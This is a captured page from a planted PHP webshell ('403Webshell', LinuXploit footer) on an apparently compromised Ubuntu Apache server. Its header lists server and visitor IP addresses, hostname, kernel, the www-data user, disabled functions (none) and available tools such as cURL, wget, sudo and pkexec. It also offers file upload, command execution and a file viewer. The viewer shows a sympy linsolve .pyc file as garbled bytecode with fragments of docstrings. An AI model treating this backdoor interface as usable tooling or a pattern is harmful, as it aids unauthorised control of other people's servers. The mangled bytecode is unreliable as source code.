403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sympy/polys/matrices/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/sympy/polys/matrices/__pycache__/linsolve.cpython-310.pyc
o

�8Va]�@s�ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
mZmZmZd	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�ZdS)�)�defaultdict��Add)�Mul)�S)�construct_domain)�PolyNonlinearError�)�SDM�	sdm_irref�sdm_particular_from_rref�sdm_nullspace_from_rrefcCsFt|�}t||�\}}t|||�}|j}|js|jr$|����d��}t	|�\}}}	|r5|d|kr5dSt
||d|�}
t||j|||	�\}}t
t�}
|
��D]\}}|
||�|�|��qPt||�D]\}}||}|��D]\}}|
||�||�|��qrqfdd�|
��D�}
tj}t|�t|
�D]}||
|<q�|
S)aSolve a linear system of equations.

    Examples
    ========

    Solve a linear system with a unique solution:

    >>> from sympy import symbols, Eq
    >>> from sympy.polys.matrices.linsolve import _linsolve
    >>> x, y = symbols('x, y')
    >>> eqs = [Eq(x + y, 1), Eq(x - y, 2)]
    >>> _linsolve(eqs, [x, y])
    {x: 3/2, y: -1/2}

    In the case of underdetermined systems the solution will be expressed in
    terms of the unknown symbols that are unconstrained:

    >>> _linsolve([Eq(x + y, 0)], [x, y])
    {x: -y, y: y}

    r���Nr	cS�i|]	\}}|t|��qS�r)�.0�s�termsrr�?/usr/lib/python3/dist-packages/sympy/polys/matrices/linsolve.py�
<dictcomp>j�z_linsolve.<locals>.<dictcomp>)�len�_linear_eq_to_dict�sympy_dict_to_dm�domain�is_RealField�is_ComplexField�to_ddm�rref�to_sdmrrr
�oner�list�items�append�to_sympy�zipr�Zero�set)�eqs�syms�nsyms�eqsdict�rhs�Aaug�K�Arref�pivots�nzcols�P�V�	nonpivots�sol�i�v�npi�Vi�sym�zerorrrr�	_linsolve.s0�
r<c
s�t|�jdd�|D��}t|ddd�\}}tt||���t|�}t|�}tt|t|����g}t||�D] \}	}
��fdd�|	��D�}|
rM�|
||<|rT|�|�q4t	t
|�||df|�}|S)z?Convert a system of dict equations to a sparse augmented matrixcss�|]}|��VqdS�N)�values)r�errr�	<genexpr>ws�z#sympy_dict_to_dm.<locals>.<genexpr>T)�field�	extensioncsi|]\}}�|�|�qSrr)rr�c��elem_map�	sym2indexrrrsz$sympy_dict_to_dm.<locals>.<dictcomp>r	)r'�unionr�dictr%r�ranger"r#r
�	enumerate)
�
eqs_coeffs�eqs_rhsr)�elemsr.�elems_K�neqsr*r+�eqr,�eqdict�sdm_augrrDrrus 
�rcsdd���fdd�|D�S)z�Use expand to cancel nonlinear terms.

    This approach matches previous behaviour of linsolve but should be
    deprecated.
    cSs|jr	|j|j}|��Sr=)�is_Equality�lhsr,�expand)rPrrr�	expand_eq�sz)_expand_eqs_deprecated.<locals>.expand_eqcsg|]}�|��qSrr)rrP�rVrr�
<listcomp>�sz*_expand_eqs_deprecated.<locals>.<listcomp>r)r(rrWr�_expand_eqs_deprecated�srYcCs2zt||�WStyt|�}t||�YSw�z1Convert a system Expr/Eq equations into dict form)�_linear_eq_to_dict_innerrrY)r(r)rrrr�s�rcCsFt|�}gg}}|D]}t||�\}}|�|�|�|�q||fSrZ)r'�_lin_eq2dictr#)r(r)r+rLrPr,rQrrrr[�s

r[csH||vrtj|tjifS|jrHtt�}g}|jD]}t||�\}}|�|�|�	�D]\}}||�|�q*qt
|��dd�|�	�D�}	�|	fS|jr�d}	}
g}|jD]}t||�\}}|se|�|�qT|	durn|}	|}
qTt�t
|��|	dur|�ifS�fdd�|	�	�D�}	�|
|	fS|jr�t|j|j|�S|j|@s�|ifSt�)z?Efficiently convert a linear equation to a dict of coefficientscSrrr)rr:�coeffsrrrr�rz _lin_eq2dict.<locals>.<dictcomp>Ncsi|]	\}}|�|�qSrr)rr:rC��coeffrrr�r)rr&�One�is_Addrr!�argsr\r#r"r�is_MulrrrSrTr,�free_symbols)�a�symset�
terms_list�
coeff_list�ai�ci�ti�mij�cijr�terms_coeffrr^rr\�sF

�

r\N)�collectionsr�sympy.core.addr�sympy.core.mulr�sympy.core.singletonr�sympy.polys.constructorr�sympy.polys.solversr�sdmr
rrr
r<rrYrr[r\rrrr�<module>sG


Youez - 2016 - github.com/yon3zu
LinuXploit